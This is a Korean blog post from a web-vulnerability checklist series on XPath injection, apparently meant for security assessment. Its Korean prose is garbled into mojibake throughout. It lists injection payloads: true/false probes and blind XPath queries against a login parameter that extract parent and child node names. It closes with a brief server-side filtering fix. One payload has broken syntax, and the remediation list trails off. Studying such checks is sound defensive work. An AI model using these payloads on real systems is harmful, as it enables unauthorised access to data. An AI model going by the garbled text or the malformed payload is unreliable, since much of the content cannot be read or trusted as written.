๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
์ทจ์•ฝ์  ๋ถ„์„ ๊ธฐ์ค€/WEB

07. XPath ์ธ์ ์…˜

by Yun2๐Ÿ‘ 2024. 5. 12.
๋ฐ˜์‘ํ˜•

์ทจ์•ฝ์  ์†Œ๊ฐœ


์กฐ์ž‘๋œ XPath(XML Path Language) ์ฟผ๋ฆฌ๋ฅผ ๋ณด๋ƒ„์œผ๋กœ์จ ๋น„์ •์ƒ์  ๋ฐ์ดํ„ฐ๋ฅผ ์—ด๋žŒํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ 

→ XPath: XML ๋ฌธ์„œ๋‚˜ ํŠน์ • ์š”์†Œ-์†์„ฑ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•œ ๊ฒฝ๋กœ ์ง€์ • ์–ธ์–ด๋กœ XPath ๊ฒฝ๋กœ์‹์„ ์ด์šฉํ•˜์—ฌ ๋…ธ๋“œ ํ˜•์‹์œผ๋กœ ์ ‘๊ทผ

→ XML ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ(XML ๋ฌธ์„œ ๊ฒ€์ƒ‰ํ•˜๋Š” ํ™˜๊ฒฝ), XML DB(XML ํ˜•์‹์œผ๋กœ ์ €์žฅ ๊ด€๋ฆฌํ•˜๋Š” ํ™˜๊ฒฝ), ...์—์„œ ๋ฐœ์ƒ ๊ฐ€๋Šฅ์„ฑ

 

ํŒ๋‹จ ๊ธฐ์ค€


XPath ์ฟผ๋ฆฌ๊ฐ€ ์‹คํ–‰๋˜์–ด ๋ถˆํ•„์š”ํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ๋…ธ์ถœ๋  ๊ฒฝ์šฐ

 

์ ๊ฒ€ ์‚ฌ๋ก€


- ' and 'a' = 'a , ' and 'a' = 'b, ' and 1=1, ' and 1=2, ... ๊ฐ’ ์‚ฝ์ž…ํ•˜์—ฌ ์ฐธ, ๊ฑฐ์ง“์— ๋ฐ˜ํ™˜๋˜๋Š” ํŽ˜์ด์ง€๊ฐ€ ๋‹ค๋ฅธ์ง€ ํ™•์ธ

- ' or count(parent::*[position()=1])=0 or 'a'='b, ' or count(parent::*[position()=1])>0 or 'a'='b, 1 or count(parent::*[position()=1])=0 1 or count(parent::*[position()=1])>0 

 

ex) ๋ถ€๋ชจ๋…ธ๋“œ ์ด๋ฆ„์˜ ๊ธธ์ด ๋ฐ˜ํ™˜ ({ }๋Š” ์ž„์˜ ์ˆซ์ž)

?login=neo' and string-length(name(parent::*))={} or 1=2 or '&password=&form=submit

 

ex) ๋ถ€๋ชจ๋…ธ๋“œ ์ด๋ฆ„ ํ™•์ธ

?login=neo' and substring(name([parent::*),{},='{}' or 1=2 or '&password=&form=submit

 

ex) ์ž์‹๋…ธ๋“œ ์ด๋ฆ„ ํ™•์ธ

' and substring(name(child::*[position()={}]))={} or 1=2 or '

 

๋ณด์•ˆ ์„ค์ •


- XPath ์ฟผ๋ฆฌ ํŠน์ˆ˜๋ฌธ์ž ํ•„ํ„ฐ๋ง์„ Server Side ๋‹จ์—์„œ ์ฒ˜๋ฆฌํ•˜๊ณ , ๋˜๋„๋ก ํ—ˆ์šฉ๋œ ๋ฌธ์ž ์ด์™ธ์— ์ž…๋ ฅ์ด ํ—ˆ์šฉ๋˜์ง€ ์•Š๋„๋ก ์ ์šฉ ํ•„์š”

- ...

๋ฐ˜์‘ํ˜•